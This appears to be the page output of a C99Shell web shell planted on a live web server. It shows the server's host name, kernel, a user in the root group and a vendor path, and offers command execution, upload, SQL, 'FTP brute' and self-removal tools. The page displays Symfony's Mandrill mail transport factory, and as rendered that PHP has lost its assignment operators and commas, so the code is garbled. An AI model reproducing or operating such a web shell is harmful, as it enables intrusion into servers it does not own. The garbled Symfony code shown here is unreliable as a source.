!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/symfony/mailchimp-mailer/Transport/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MandrillTransportFactory.php (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mailer\Bridge\Mailchimp\Transport;

use 
Symfony\Component\Mailer\Exception\UnsupportedSchemeException;
use 
Symfony\Component\Mailer\Transport\AbstractTransportFactory;
use 
Symfony\Component\Mailer\Transport\Dsn;
use 
Symfony\Component\Mailer\Transport\TransportInterface;

/**
 * @author Konstantin Myakshin <molodchick@gmail.com>
 */
final class MandrillTransportFactory extends AbstractTransportFactory
{
    public function 
create(Dsn $dsn): TransportInterface
    
{
        
$scheme $dsn->getScheme();
        
$user $this->getUser($dsn);
        
$host 'default' === $dsn->getHost() ? null $dsn->getHost();
        
$port $dsn->getPort();

        if (
'mandrill+api' === $scheme) {
            return (new 
MandrillApiTransport($user$this->client$this->dispatcher$this->logger))->setHost($host)->setPort($port);
        }

        if (
'mandrill+https' === $scheme || 'mandrill' === $scheme) {
            return (new 
MandrillHttpTransport($user$this->client$this->dispatcher$this->logger))->setHost($host)->setPort($port);
        }

        if (
'mandrill+smtp' === $scheme || 'mandrill+smtps' === $scheme) {
            
$password $this->getPassword($dsn);

            return new 
MandrillSmtpTransport($user$password$this->dispatcher$this->logger);
        }

        throw new 
UnsupportedSchemeException($dsn'mandrill'$this->getSupportedSchemes());
    }

    protected function 
getSupportedSchemes(): array
    {
        return [
'mandrill''mandrill+api''mandrill+https''mandrill+smtp''mandrill+smtps'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--